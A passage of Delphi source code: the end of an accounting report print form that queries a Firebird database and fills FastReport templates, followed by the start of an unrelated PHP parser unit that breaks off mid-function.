Un_R_file_Alex.MY_NOVEMBER); cxComboBoxMonth.Properties.Items.Insert(11, Un_R_file_Alex.MY_DESEMBER); cxComboBoxMonthEnd.Properties.Items.Insert(0, Un_R_file_Alex.MY_JANUARY); cxComboBoxMonthEnd.Properties.Items.Insert(1, Un_R_file_Alex.MY_FEBRIARY); cxComboBoxMonthEnd.Properties.Items.Insert(2, Un_R_file_Alex.MY_MARCH); cxComboBoxMonthEnd.Properties.Items.Insert(3, Un_R_file_Alex.MY_APRILE); cxComboBoxMonthEnd.Properties.Items.Insert(4, Un_R_file_Alex.MY_MAY); cxComboBoxMonthEnd.Properties.Items.Insert(5, Un_R_file_Alex.MY_JUNE); cxComboBoxMonthEnd.Properties.Items.Insert(6, Un_R_file_Alex.MY_JULY); cxComboBoxMonthEnd.Properties.Items.Insert(7, Un_R_file_Alex.MY_AUGUST); cxComboBoxMonthEnd.Properties.Items.Insert(8, Un_R_file_Alex.MY_SEPTEMBER); cxComboBoxMonthEnd.Properties.Items.Insert(9, Un_R_file_Alex.MY_OCTOBER); cxComboBoxMonthEnd.Properties.Items.Insert(10, Un_R_file_Alex.MY_NOVEMBER); cxComboBoxMonthEnd.Properties.Items.Insert(11, Un_R_file_Alex.MY_DESEMBER); id_user := myform.id_user; DataSetJornal.Close; DataSetJornal.SQLs.SelectSQL.Text := 'SELECT * FROM J4_CHOOSE_SYS_BY_ID('+IntToStr(id_user)+')'; DataSetJornal.Open; DataSetJornal.FetchAll; If DataSetJornal.IsEmpty then begin MessageBox(Handle, PChar(Un_R_file_Alex.J4_WARNING_LOAD_JORNAL), PChar(Un_R_file_Alex.J4_SP_RAZDELENIE_MESSAGA), 16); close; end; SetLength(Ind1, DataSetJornal.RecordCount); DataSetJornal.First; i := 0; item_index := 0; cxComboBoxJornal.Properties.Items.Clear; While not DataSetJornal.Eof do begin Ind1[DataSetJornal.RecNo - 1] := TFIBBCDField(DataSetJornal.FieldByName('ID_J4_SP_JO')).AsInt64; cxComboBoxJornal.Properties.Items.Add(DataSetJornal.FieldByName('SHORT_NAME').AsString); IF DataSetJornal.FieldByName('SYSTEM_OPEN').Asinteger = 1 THEN begin id_jornal := TFIBBCDField(DataSetJornal.FieldByName('ID_J4_SP_JO')).AsInt64; item_index := i; end; inc(i); DataSetJornal.Next; end; DataSetJornal.Close; DataSetIni.Close; DataSetIni.Sqls.SelectSQL.Text := 'select * from J4_INI'; DataSetIni.Open; if DataSetIni['ID_MEN_CHECK']<>null then id_man_check := strtoint64(DataSetIni.fbn('ID_MEN_CHECK').AsString) else id_man_check := 0; if DataSetIni['ID_MEN_GL_BUHG']<>null then id_man_gl_buhg := strtoint64(DataSetIni.fbn('ID_MEN_GL_BUHG').AsString) else id_man_gl_buhg := 0; DataSetSigns.Close; DataSetSigns.SQLs.SelectSQL.Text := 'select p.id_man from users u, private_cards pc, people p where u.id_user_ext = pc.id_pcard and p.id_man = pc.id_man and u.id_user='+IntToStr(id_user); DataSetSigns.Open; if DataSetSigns['id_man']<>null then id_man_buh := strtoint64(DataSetSigns.fbn('id_man').AsString) else id_man_buh := 0; Get_Fio_post(id_man_buh,name_post, fio_small,fio_full); name_post_buhg := name_post; fio_small_buhg := fio_small; fio_full_buhg := fio_full; Get_Fio_post(id_man_check,name_post, fio_small,fio_full); name_post_check := name_post; fio_small_check := fio_small; fio_full_check := fio_full; Get_Fio_post(id_man_gl_buhg,name_post, fio_small,fio_full); name_post_gl_buhg := name_post; fio_small_gl_buhg := fio_small; fio_full_gl_buhg := fio_full; ButtonEditBuh.Text := fio_full_buhg; ButtonEditFioCheck.Text := fio_full_check; ButtonEditGlBuhg.Text := fio_full_gl_buhg; cxComboBoxJornal.ItemIndex := item_index; cxComboBoxJornal.OnClick := cxComboBoxJornalClick; DataSetJornal.Transaction.Commit; cxSpinEdit1.Value := YearOf(date); cxComboBoxMonth.ItemIndex := MonthOf(date)-1; cxSpinEdit2.Value := YearOf(date); cxComboBoxMonthEnd.ItemIndex := MonthOf(date)-1; end; cxLabel1.Caption := Un_R_file_Alex.J4_PRINT_SLECT_JORNAL; cxButtonClose.Caption := Un_R_file_Alex.MY_BUTTON_CLOSE; cxButtonPrint.Caption := Un_R_file_Alex.MY_BUTTON_PRINT; Caption := Un_R_file_Alex.KASSA_PRINT_CAPTION; cxCheckBox1.Properties.Caption := Un_R_file_Alex.J4_PRINT_J4; cxLabel2.Caption := Un_R_file_Alex.J4_OSTATOK_FORM_YEAR; cxLabel3.Caption := Un_R_file_Alex.J4_OSTATOK_FORM_YEAR; cxCheckBox2.Properties.Caption := Un_R_file_Alex.J4_JORNAL_KOR_SCH; cxCheckBox3.Properties.Caption := Un_R_file_Alex.J4_JORNAL_SMETA_PRINT; cxCheckBox5.Properties.Caption := Un_R_file_Alex.J4_JORNAL_RASHIFR_PRINT; cxLabel5.Caption := Un_R_file_Alex.J4_BUHG; cxLabel6.Caption := Un_R_file_Alex.J4_CHECK; cxLabel7.Caption := Un_R_file_Alex.J4_GL_BUHG; cxCheckBox4.Properties.Caption := Un_R_file_Alex.BANK_PRINT_MEMORIAL_ORDER; end; procedure TfmPrintForm.Get_Fio_post(id_man :int64; var name_post_out, fio_small_buhg_out,fio_full_buhg_out : string); begin DataSetSigns.Close; DataSetSigns.SQLs.SelectSQL.Text := 'SELECT * FROM J4_GET_INFO_SIGN('+IntToStr(id_man)+','''+datetostr(date)+''')'; DataSetSigns.Open; name_post_out := DataSetSigns.FBN('name_post_buhg').AsString; fio_small_buhg_out := DataSetSigns.FBN('fio_small_buhg').AsString; fio_full_buhg_out := DataSetSigns.FBN('fio_full_buhg').AsString; end; destructor TfmPrintForm.Destroy; begin inherited; end; procedure TfmPrintForm.cxButtonCloseClick(Sender: TObject); begin Close; end; procedure TfmPrintForm.cxButtonPrintClick(Sender: TObject); var d,d2 : TDate; T : TfmProgressFormAvance; id_lang : integer; begin if n = Jornal4 then begin pFIBDataSet1.Close; pFIBDataSet1.SQLs.SelectSQL.Text := 'SELECT * FROM J4_INI'; pFIBDataSet1.Open; DataSetLang.Close; DataSetLang.SQLs.SelectSQL.Text := 'SELECT * FROM PUB_SYS_DATA'; DataSetLang.Open; id_lang := DataSetLang.FBN('ID_LANGUAGE').AsInteger; DataSetLang.Close; if(cxSpinEdit1.Value>cxSpinEdit2.Value) then begin showmessage(Un_R_file_Alex.J4_WARNING_DATE_BEG_END); exit; end; if (cxComboBoxMonth.ItemIndex>cxComboBoxMonthEnd.ItemIndex) then begin if(cxSpinEdit1.Value>=cxSpinEdit2.Value) then begin showmessage(Un_R_file_Alex.J4_WARNING_DATE_BEG_END); exit; end; end; if cxCheckBox1.Checked then begin T := TfmProgressFormAvance.Create(self, wait_, Un_R_file_Alex.WAIT_OTBOR_D); T.Show; if cxComboBoxMonth.ItemIndex < 10 then d := StrToDate('01.0'+IntTostr(cxComboBoxMonth.ItemIndex+1)+'.'+IntToStr(cxSpinEdit1.Value)) else d := StrToDate('01.'+IntTostr(cxComboBoxMonth.ItemIndex+1)+'.'+IntToStr(cxSpinEdit1.Value)); if cxComboBoxMonthEnd.ItemIndex < 10 then d2 := StrToDate('01.0'+IntTostr(cxComboBoxMonthEnd.ItemIndex+1)+'.'+IntToStr(cxSpinEdit2.Value)) else d2 := StrToDate('01.'+IntTostr(cxComboBoxMonthEnd.ItemIndex+1)+'.'+IntToStr(cxSpinEdit2.Value)); TransactionWr.DefaultDatabase := Database; DataSet.Database := Database; DataSet.Transaction := TransactionWr; TransactionWr.StartTransaction; DataSet.Close; DataSet.SQLs.SelectSQL.Text := 'SELECT * FROM J4_OTCHET_MONTH('''+ DateToStr(d) +''', '''+ DateToStr(d2) +''', '+intToStr(id_jornal)+', '+intToStr(0)+', '+intToStr(myform.id_user)+')'; DataSet.Open; T.Free; pFIBDataSet1.Close; pFIBDataSet1.SQLs.SelectSQL.Text := 'SELECT * FROM J4_INI'; pFIBDataSet1.Open; if id_lang = 0 then frxReport2.LoadFromFile(ExtractFilePath(Application.ExeName)+ 'Reports\Avance\Avance_40004_ukr.fr3'); frxReport2.Variables['name_shab'] := QuotedStr(pFIBDataSet1.fbn('NAME_JORNAL').AsString); frxReport2.Variables['name_machine'] := QuotedStr(GetComputerNetName); frxReport2.Variables['month_oo'] := QuotedStr(cxComboBoxMonth.Text); frxReport2.Variables['month_end'] := QuotedStr(cxComboBoxMonthEnd.Text); frxReport2.Variables['year_oo'] := IntToStr(cxSpinEdit1.Value); frxReport2.Variables['year_end'] := IntToStr(cxSpinEdit2.Value); frxReport2.Variables['fio_b'] := QuotedStr(GetUserFIO);; frxReport2.Variables['name_post_b'] := QuotedStr(name_post_buhg); frxReport2.Variables['name_post_c'] := QuotedStr(name_post_check); frxReport2.Variables['name_post_g_b']:= QuotedStr(name_post_gl_buhg); frxReport2.Variables['fio_small_b'] := QuotedStr(fio_small_buhg); frxReport2.Variables['fio_small_c'] := QuotedStr(fio_small_check); frxReport2.Variables['fio_small_g_b']:= QuotedStr(fio_small_gl_buhg); frxReport2.Variables['fio_full_b'] := QuotedStr(fio_full_buhg); frxReport2.Variables['fio_full_c'] := QuotedStr(fio_full_check); frxReport2.Variables['fio_full_g_b'] := QuotedStr(fio_full_gl_buhg); frxReport2.Variables['J4_MO_PRINT_ONLY_VIKON'] := pFIBDataSet1['J4_MO_PRINT_ONLY_VIKON']; frxReport2.PrepareReport(true); //frxReport2.DesignReport; frxReport2.ShowReport(true); pFIBDataSet1.Close; TransactionWr.Commit; end; if cxCheckBox2.Checked then begin T := TfmProgressFormAvance.Create(self, wait_, Un_R_file_Alex.WAIT_OTBOR_D); T.Show; if cxComboBoxMonth.ItemIndex < 10 then d := StrToDate('01.0'+IntTostr(cxComboBoxMonth.ItemIndex+1)+'.'+IntToStr(cxSpinEdit1.Value)) else d := StrToDate('01.'+IntTostr(cxComboBoxMonth.ItemIndex+1)+'.'+IntToStr(cxSpinEdit1.Value)); if cxComboBoxMonthEnd.ItemIndex < 10 then d2 := StrToDate('01.0'+IntTostr(cxComboBoxMonthEnd.ItemIndex+1)+'.'+IntToStr(cxSpinEdit2.Value)) else d2 := StrToDate('01.'+IntTostr(cxComboBoxMonthEnd.ItemIndex+1)+'.'+IntToStr(cxSpinEdit2.Value)); TransactionWr.DefaultDatabase := Database; DataSetKorSch.Database := Database; DataSetKorSch.Transaction := TransactionWr; TransactionWr.StartTransaction; DataSetKorSch.Close; DataSetKorSch.SQLs.SelectSQL.Text := 'SELECT * FROM J4_OTCHET_KOR_SCH('+intToStr(id_jornal)+', '''+ DateToStr(d) +''', '''+ DateToStr(d2) +''')'; DataSetKorSch.Open; T.Free; pFIBDataSet1.Close; pFIBDataSet1.SQLs.SelectSQL.Text := 'SELECT * FROM J4_INI'; pFIBDataSet1.Open; if id_lang = 0 then frxReport1.LoadFromFile(ExtractFilePath(Application.ExeName)+ 'Reports\Avance\Avance_40002_ukr.fr3'); frxReport1.Variables['name_machine'] := QuotedStr(GetComputerNetName); frxReport1.Variables['fio'] := QuotedStr(GetUserFIO); frxReport1.Variables['id_us'] := IntToStr(GetUserId); frxReport1.Variables['mon'] := QuotedStr(cxComboBoxMonth.Text); frxReport1.Variables['mon_end'] := QuotedStr(cxComboBoxMonthEnd.Text); frxReport1.Variables['year_'] := IntToStr(cxSpinEdit1.Value); frxReport1.Variables['year_end'] := IntToStr(cxSpinEdit2.Value); frxReport1.Variables['name_post_b'] := QuotedStr(name_post_buhg); frxReport1.Variables['name_post_c'] := QuotedStr(name_post_check); frxReport1.Variables['name_post_g_b']:= QuotedStr(name_post_gl_buhg); frxReport1.Variables['fio_small_b'] := QuotedStr(fio_small_buhg); frxReport1.Variables['fio_small_c'] := QuotedStr(fio_small_check); frxReport1.Variables['fio_small_g_b']:= QuotedStr(fio_small_gl_buhg); frxReport1.Variables['fio_full_b'] := QuotedStr(fio_full_buhg); frxReport1.Variables['fio_full_c'] := QuotedStr(fio_full_check); frxReport1.Variables['fio_full_g_b'] := QuotedStr(fio_full_gl_buhg); frxReport1.Variables['J4_MO_PRINT_ONLY_VIKON'] := pFIBDataSet1['J4_MO_PRINT_ONLY_VIKON']; frxReport1.PrepareReport(true); frxReport1.ShowReport(true); TransactionWr.Commit; end; if cxCheckBox5.Checked then begin T := TfmProgressFormAvance.Create(self, wait_, Un_R_file_Alex.WAIT_OTBOR_D); T.Show; if cxComboBoxMonth.ItemIndex < 10 then d := StrToDate('01.0'+IntTostr(cxComboBoxMonth.ItemIndex+1)+'.'+IntToStr(cxSpinEdit1.Value)) else d := StrToDate('01.'+IntTostr(cxComboBoxMonth.ItemIndex+1)+'.'+IntToStr(cxSpinEdit1.Value)); if cxComboBoxMonthEnd.ItemIndex < 10 then d2 := StrToDate('01.0'+IntTostr(cxComboBoxMonthEnd.ItemIndex+1)+'.'+IntToStr(cxSpinEdit2.Value)) else d2 := StrToDate('01.'+IntTostr(cxComboBoxMonthEnd.ItemIndex+1)+'.'+IntToStr(cxSpinEdit2.Value)); TransactionWr.DefaultDatabase := Database; DataSetKorSch1.Database := Database; DataSetKorSch1.Transaction := TransactionWr; TransactionWr.StartTransaction; DataSetKorSch1.Close; DataSetKorSch1.SQLs.SelectSQL.Text := 'SELECT * FROM J4_OTCHET_KOR_SCH_1('+intToStr(id_jornal)+', '''+ DateToStr(d) +''', '''+ DateToStr(d2) +''')'; DataSetKorSch1.Open; T.Free; // if id_lang = 1 then frxReport2.LoadFromFile(ExtractFilePath(Application.ExeName)+ 'Reports\Avance\Avance_40013.fr3'); if id_lang = 0 then frxReport2.LoadFromFile(ExtractFilePath(Application.ExeName)+ 'Reports\Avance\Avance_40015_ukr.fr3'); pFIBDataSet1.Close; pFIBDataSet1.SQLs.SelectSQL.Text := 'SELECT * FROM J4_INI'; pFIBDataSet1.Open; frxReport2.Variables['name_machine']:= QuotedStr(GetComputerNetName); frxReport2.Variables['id_us'] := IntToStr(GetUserId); frxReport2.Variables['mon'] := QuotedStr(cxComboBoxMonth.Text); frxReport2.Variables['mon_end'] := QuotedStr(cxComboBoxMonthEnd.Text); frxReport2.Variables['year_'] := IntToStr(cxSpinEdit1.Value); frxReport2.Variables['year_end'] := IntToStr(cxSpinEdit2.Value); frxReport2.Variables['fio'] := QuotedStr(GetUserFIO); frxReport2.Variables['name_post_b'] := QuotedStr(name_post_buhg); frxReport2.Variables['name_post_c'] := QuotedStr(name_post_check); frxReport2.Variables['name_post_g_b']:= QuotedStr(name_post_gl_buhg); frxReport2.Variables['fio_small_b'] := QuotedStr(fio_small_buhg); frxReport2.Variables['fio_small_c'] := QuotedStr(fio_small_check); frxReport2.Variables['fio_small_g_b']:= QuotedStr(fio_small_gl_buhg); frxReport2.Variables['fio_full_b'] := QuotedStr(fio_full_buhg); frxReport2.Variables['fio_full_c'] := QuotedStr(fio_full_check); frxReport2.Variables['fio_full_g_b'] := QuotedStr(fio_full_gl_buhg); frxReport2.Variables['J4_MO_PRINT_ONLY_VIKON'] := pFIBDataSet1['J4_MO_PRINT_ONLY_VIKON']; frxReport2.PrepareReport(true); //frxReport2.DesignReport; frxReport2.ShowReport(true); TransactionWr.Commit; end; if cxCheckBox3.Checked then begin T := TfmProgressFormAvance.Create(self, wait_, Un_R_file_Alex.WAIT_OTBOR_D); T.Show; if cxComboBoxMonth.ItemIndex < 10 then d := StrToDate('01.0'+IntTostr(cxComboBoxMonth.ItemIndex+1)+'.'+IntToStr(cxSpinEdit1.Value)) else d := StrToDate('01.'+IntTostr(cxComboBoxMonth.ItemIndex+1)+'.'+IntToStr(cxSpinEdit1.Value)); if cxComboBoxMonthEnd.ItemIndex < 10 then d2 := StrToDate('01.0'+IntTostr(cxComboBoxMonthEnd.ItemIndex+1)+'.'+IntToStr(cxSpinEdit2.Value)) else d2 := StrToDate('01.'+IntTostr(cxComboBoxMonthEnd.ItemIndex+1)+'.'+IntToStr(cxSpinEdit2.Value)); TransactionWr.DefaultDatabase := Database; DataSetSm.Database := Database; DataSetSm.Transaction := TransactionWr; TransactionWr.StartTransaction; DataSetSm.Close; DataSetSm.SQLs.SelectSQL.Text := 'SELECT * FROM J4_OTCHET_SM('''+ DateToStr(d) +''', '''+ DateToStr(d2) +''', '+intToStr(id_jornal)+')'; DataSetSm.Open; T.Free; pFIBDataSet1.Close; pFIBDataSet1.SQLs.SelectSQL.Text := 'SELECT * FROM J4_INI'; pFIBDataSet1.Open; if id_lang = 0 then frxReport1.LoadFromFile(ExtractFilePath(Application.ExeName)+ 'Reports\Avance\Avance_40003_ukr.fr3'); frxReport1.Variables['name_machine'] := QuotedStr(GetComputerNetName); frxReport1.Variables['fio_us'] := QuotedStr(GetUserFIO); frxReport1.Variables['id_us'] := inttostr(GetUserId); frxReport1.Variables['mon'] := QuotedStr(cxComboBoxMonth.Text); frxReport1.Variables['mon_end'] := QuotedStr(cxComboBoxMonthEnd.Text); frxReport1.Variables['year_'] := IntToStr(cxSpinEdit1.Value); frxReport1.Variables['year_end'] := IntToStr(cxSpinEdit2.Value); frxReport1.Variables['name_post_b'] := QuotedStr(name_post_buhg); frxReport1.Variables['name_post_c'] := QuotedStr(name_post_check); frxReport1.Variables['name_post_g_b']:= QuotedStr(name_post_gl_buhg); frxReport1.Variables['fio_small_b'] := QuotedStr(fio_small_buhg); frxReport1.Variables['fio_small_c'] := QuotedStr(fio_small_check); frxReport1.Variables['fio_small_g_b']:= QuotedStr(fio_small_gl_buhg); frxReport1.Variables['fio_full_b'] := QuotedStr(fio_full_buhg); frxReport1.Variables['fio_full_c'] := QuotedStr(fio_full_check); frxReport1.Variables['fio_full_g_b'] := QuotedStr(fio_full_gl_buhg); frxReport1.Variables['J4_MO_PRINT_ONLY_VIKON'] := pFIBDataSet1['J4_MO_PRINT_ONLY_VIKON']; frxReport1.PrepareReport(true); //frxReport1.DesignReport; frxReport1.ShowReport(true); TransactionWr.Commit; end; if cxCheckBox4.Checked then begin T := TfmProgressFormAvance.Create(self, wait_, Un_R_file_Alex.WAIT_OTBOR_D); T.Show; if cxComboBoxMonth.ItemIndex < 10 then d := StrToDate('01.0'+IntTostr(cxComboBoxMonth.ItemIndex+1)+'.'+IntToStr(cxSpinEdit1.Value)) else d := StrToDate('01.'+IntTostr(cxComboBoxMonth.ItemIndex+1)+'.'+IntToStr(cxSpinEdit1.Value)); if cxComboBoxMonthEnd.ItemIndex < 10 then d2 := StrToDate('01.0'+IntTostr(cxComboBoxMonthEnd.ItemIndex+1)+'.'+IntToStr(cxSpinEdit2.Value)) else d2 := StrToDate('01.'+IntTostr(cxComboBoxMonthEnd.ItemIndex+1)+'.'+IntToStr(cxSpinEdit2.Value)); TransactionWr.DefaultDatabase := Database; DataSet.Database := Database; DataSet.Transaction := TransactionWr; TransactionWr.StartTransaction; DataSet.Close; DataSet.SQLs.SelectSQL.Text := 'SELECT * FROM J4_OTCHET_MONTH('''+ DateToStr(d) +''', '''+ DateToStr(d2) +''', '+intToStr(id_jornal)+', '+intToStr(0)+', '+intToStr(myform.id_user)+') where FLAG_FIO = ' + IntToStr(1) + ' '; DataSet.Open; T.Free; pFIBDataSet1.Close; pFIBDataSet1.SQLs.SelectSQL.Text := 'SELECT * FROM J4_INI'; pFIBDataSet1.Open; if id_lang = 1 then frxReport1.LoadFromFile(ExtractFilePath(Application.ExeName)+ 'Reports\Avance\Avance_40013.fr3'); if id_lang = 0 then frxReport1.LoadFromFile(ExtractFilePath(Application.ExeName)+ 'Reports\Avance\Avance_40013_ukr.fr3'); frxReport1.Variables['comp'] := QuotedStr(GetComputerNetName); frxReport1.Variables['id_user'] := IntToStr(GetUserId); frxReport1.Variables['month_oo'] := QuotedStr(cxComboBoxMonth.Text); frxReport1.Variables['month_end'] := QuotedStr(cxComboBoxMonthEnd.Text); frxReport1.Variables['year_oo'] := IntToStr(cxSpinEdit1.Value); frxReport1.Variables['year_end'] := IntToStr(cxSpinEdit2.Value); frxReport1.Variables['name_post_b'] := QuotedStr(name_post_buhg); frxReport1.Variables['name_post_c'] := QuotedStr(name_post_check); frxReport1.Variables['name_post_g_b']:= QuotedStr(name_post_gl_buhg); frxReport1.Variables['fio_small_b'] := QuotedStr(fio_small_buhg); frxReport1.Variables['fio_small_c'] := QuotedStr(fio_small_check); frxReport1.Variables['fio_small_g_b']:= QuotedStr(fio_small_gl_buhg); frxReport1.Variables['fio_full_b'] := QuotedStr(fio_full_buhg); frxReport1.Variables['fio_full_c'] := QuotedStr(fio_full_check); frxReport1.Variables['fio_full_g_b'] := QuotedStr(fio_full_gl_buhg); frxReport1.Variables['J4_MO_PRINT_ONLY_VIKON'] := pFIBDataSet1['J4_MO_PRINT_ONLY_VIKON']; // frxReport1.Variables['fio_b'] := GetUserFIO;; frxReport1.PrepareReport(true); //frxReport1.DesignReport; frxReport1.ShowReport(true); TransactionWr.Commit; end; end; end; procedure TfmPrintForm.DataSetDATE_OSTGetText(Sender: TField; var Text: String; DisplayText: Boolean); begin if DataSetDATE_OST.IsNull then text := '' else text := DataSetDATE_OST.AsString; end; procedure TfmPrintForm.cxComboBoxJornalClick(Sender: TObject); begin if id_jornal <> Ind1[cxComboBoxJornal.ItemIndex] then id_jornal := Ind1[cxComboBoxJornal.ItemIndex]; end; procedure TfmPrintForm.FormClose(Sender: TObject; var Action: TCloseAction); begin FormStorage1.SaveFormPlacement; end; procedure TfmPrintForm.ButtonEditBuhPropertiesButtonClick(Sender: TObject; AButtonIndex: Integer); var res : Variant; begin res := Un_lo_file_Alex.MY_GetManEx(self, Database.Handle, false, false, id_man_buh); if VarArrayDimCount(res) > 0 then begin if (res[0]<>null) and (res[1]<>null) then begin if id_man_buh <> res[0] then begin id_man_buh := res[0]; ButtonEditBuh.Text := res[1]; fio_full_buhg := res[1]; end; end; end; end; procedure TfmPrintForm.ButtonEditFioCheckPropertiesButtonClick( Sender: TObject; AButtonIndex: Integer); var res : Variant; begin res := Un_lo_file_Alex.MY_GetManEx(self, Database.Handle, false, false, id_man_check); if VarArrayDimCount(res) > 0 then begin if (res[0]<>null) and (res[1]<>null) then begin if id_man_check <> res[0] then begin id_man_check := res[0]; ButtonEditFioCheck.Text := res[1]; fio_full_check := res[1]; end; end; end; end; procedure TfmPrintForm.ButtonEditGlBuhgPropertiesButtonClick( Sender: TObject; AButtonIndex: Integer); var res : Variant; begin res := Un_lo_file_Alex.MY_GetManEx(self, Database.Handle, false, false, id_man_gl_buhg); if VarArrayDimCount(res) > 0 then begin if (res[0]<>null) and (res[1]<>null) then begin if id_man_gl_buhg <> res[0] then begin id_man_gl_buhg := res[0]; ButtonEditGlBuhg.Text := res[1]; fio_full_gl_buhg := res[1]; end; end; end; end; end.
unit PhpParser; interface uses Classes, SysUtils, EasyParser; type TElementScope = ( sPublic, sGlobal, sEnum, sParam, sLocalVar, sGlobalDecl, sUsedVar, sField, sUnknown ); // TClassDefinitionType = ( dtClass, dtEnum, dtFunction, dtSimpleType ); // TElementInfo = class private FLineNo: Integer; FName: string; FInfoType: string; FScope: TElementScope; public destructor Destroy; override; property LineNo: Integer read FLineNo write FLineNo; property Name: string read FName write FName; property Scope: TElementScope read FScope write FScope; property InfoType: string read FInfoType write FInfoType; end; // TConstantInfo = class(TElementInfo) private FValue: string; public property Value: string read FValue write FValue; end; // TVariableInfo = class(TElementInfo) end; // TFunctionInfo = class(TElementInfo) private FReturnType: string; FParams: TStrings; FLocalVars: TStrings; FStartPos: Integer; FEndPos: Integer; FGlobalDecls: TStrings; FUsedVars: TStrings; procedure SetParams(Value: TStrings); procedure SetLocalVars(Value: TStrings); procedure SetGlobalDecls(const Value: TStrings); procedure SetUsedVars(const Value: TStrings); public constructor Create; destructor Destroy; override; function ParamText: string; property StartPos: Integer read FStartPos write FStartPos; property EndPos: Integer read FEndPos write FEndPos; property ReturnType: string read FReturnType write FReturnType; property Params: TStrings read FParams write SetParams; property LocalVars: TStrings read FLocalVars write SetLocalVars; property GlobalDecls: TStrings read FGlobalDecls write SetGlobalDecls; property UsedVars: TStrings read FUsedVars write SetUsedVars; end; // TClassInfo = class(TElementInfo) private FFields: TStrings; FMethods: TStrings; FStartPos: Integer; FEndPos: Integer; protected procedure SetFields(Value: TStrings); procedure SetMethods(Value: TStrings); public constructor Create; destructor Destroy; override; public property StartPos: Integer read FStartPos write FStartPos; property EndPos: Integer read FEndPos write FEndPos; property Fields: TStrings read FFields write SetFields; property Methods: TStrings read FMethods write SetMethods; end; // TUnitInfo = class private FVariables: TStrings; FFunctions: TStrings; FClasses: TStrings; FConstants: TStrings; FParser: TEasyEditorParser; protected function AddInfo(inInfo: TElementInfo; const AName: string; inScope: TElementScope; inList: TStrings): TElementInfo; function GetLinePos: Integer; function NextValidToken: Integer; function NextValidTokenStr: string; procedure ParseLocalVars(Info: TElementInfo); procedure ParseGlobalDecls(Info: TElementInfo); procedure ProcessFunction(const s: string; SkipToEnd: boolean; inList: TStrings); procedure ProcessVariable(const s: string); procedure ProcessClass(const s: string; SkipToEnd: boolean); public constructor Create; destructor Destroy; override; procedure ParseStrings(AStrings: TStrings); procedure ReparseStrings(Strings: TStrings); function AddClass(const AName: string): TClassInfo; function AddConst(const AName: string; AOwner: TElementInfo): TConstantInfo; function AddFunction(const AName: string; inList: TStrings): TFunctionInfo; function AddGlobalDecl(const AName: string; AOwner: TElementInfo): TVariableInfo; function AddParam(const AName: string; inList: TStrings): TVariableInfo; function AddUsedVar(const AName: string; AOwner: TElementInfo): TVariableInfo; function AddVariable(const AName: string; AOwner: TElementInfo): TVariableInfo; function IndexOf(const s: string): TElementInfo; property Variables: TStrings read FVariables; property Functions: TStrings read FFunctions; property Classes: TStrings read FClasses; property Constants: TStrings read FConstants; property Parser: TEasyEditorParser read FParser write FParser; end; implementation uses StrUtils, EasyUtils; type TMParser = class(TEasyEditorParser); const tnone = 0; tstring = 1; tcomment = 2; tident = 3; tInteger = 4; tfloat = 5; tresword = 6; twhitespace = 9; sClassStr = 'class'; sFuncStr = 'function'; sVarStr = 'var'; sGlobalDeclStr = 'global'; sGroupBegin = '{'; sGroupEnd = '}'; sLeftBracket = '('; sRightBracket = ')'; procedure ClearStrings(Strings: TStrings); var i: Integer; begin with Strings do begin for i := Count - 1 downto 0 do Objects[i].Free; Clear; end; end; procedure FreeStrings(var Strings: TStrings); begin ClearStrings(Strings); Strings.Free; Strings := nil; end; { TElementInfo } destructor TElementInfo.Destroy; begin inherited Destroy; end; { TFunctionInfo } constructor TFunctionInfo.Create; begin inherited Create; FParams := TStringList.Create; FLocalVars := TStringList.Create; FGlobalDecls := TStringList.Create; FUsedVars := TStringList.Create; end; destructor TFunctionInfo.Destroy; begin FreeStrings(FParams); FreeStrings(FLocalVars); FreeStrings(FGlobalDecls); FreeStrings(FUsedVars); inherited Destroy; end; procedure TFunctionInfo.SetParams(Value: TStrings); begin FParams.Assign(Value); end; procedure TFunctionInfo.SetLocalVars(Value: TStrings); begin FLocalVars.Assign(Value); end; procedure TFunctionInfo.SetGlobalDecls(const Value: TStrings); begin FGlobalDecls.Assign(Value); end; procedure TFunctionInfo.SetUsedVars(const Value: TStrings); begin FUsedVars.Assign(Value); end; function TFunctionInfo.ParamText: string; var i: Integer; begin Result := ''; for i := 0 to Params.Count - 1 do with TVariableInfo(Params.Objects[i]) do begin if Result <> '' then Result := Result + ','; // Result := Result + FInfoType + ' ' + FName; if FInfoType <> '' then Result := Result + FInfoType + ' ' + FName else Result := Result + FName; end; Result := '(' + Result + ')'; end; { TClassInfo } constructor TClassInfo.Create; begin inherited Create; FFields := TStringList.Create; FMethods := TStringList.Create; end; destructor TClassInfo.Destroy; begin FreeStrings(FMethods); FreeStrings(FFields); inherited; end; procedure TClassInfo.SetFields(Value: TStrings); begin FFields.Assign(Value); end; procedure TClassInfo.SetMethods(Value: TStrings); begin FMethods.Assign(Value); end; { TUnitInfo } constructor TUnitInfo.Create; begin inherited Create; FVariables := CreateSortedStrings; FFunctions := CreateSortedStrings; FClasses := CreateSortedStrings; FConstants := CreateSortedStrings; end; destructor TUnitInfo.Destroy; begin FreeStrings(FVariables); FreeStrings(FFunctions); FreeStrings(FClasses); FreeStrings(FConstants); inherited Destroy; end; function TUnitInfo.IndexOf(const s: string): TElementInfo; var AInfo: TElementInfo; function _Check(Strings: TStrings): boolean; var Index: Integer; begin Index := Strings.IndexOf(s); Result := Index >= 0; if Result then AInfo := TElementInfo(Strings.Objects[Index]); end; begin if _Check(FVariables) or _Check(FFunctions) or _Check(Constants) then Result := AInfo else Result := nil; end; function TUnitInfo.AddInfo(inInfo: TElementInfo; const AName: string; inScope: TElementScope; inList: TStrings): TElementInfo; begin with inInfo do begin Name := AName; Scope := inScope; LineNo := GetLinePos; end; inList.AddObject(AName, inInfo); Result := inInfo; end; function TUnitInfo.AddClass(const AName: string): TClassInfo; begin if AName = '' then Result := nil else begin Result := TClassInfo.Create; AddInfo(Result, AName, sPublic, Classes); end; end; function TUnitInfo.AddFunction(const AName: string; inList: TStrings): TFunctionInfo; begin if AName = '' then Result := nil else begin Result := TFunctionInfo.Create; AddInfo(Result, AName, sPublic, inList); end; end; function TUnitInfo.AddParam(const AName: string; inList: TStrings): TVariableInfo; begin if (AName = '') then Result := nil else begin Result := TVariableInfo.Create; AddInfo(Result, AName, sPublic, inList); end; end; function TUnitInfo.AddVariable(const AName: string; AOwner: TElementInfo): TVariableInfo; begin if (AName = '') then Result := nil else begin Result := TVariableInfo.Create; if AOwner = nil then AddInfo(Result, AName, sPublic, Variables) else if AOwner is TFunctionInfo then AddInfo(Result, AName, sLocalVar, TFunctionInfo(AOwner).LocalVars) else if AOwner is TClassInfo then AddInfo(Result, AName, sLocalVar, TClassInfo(AOwner).Fields); end; end; function TUnitInfo.AddGlobalDecl(const AName: string; AOwner: TElementInfo): TVariableInfo; begin if 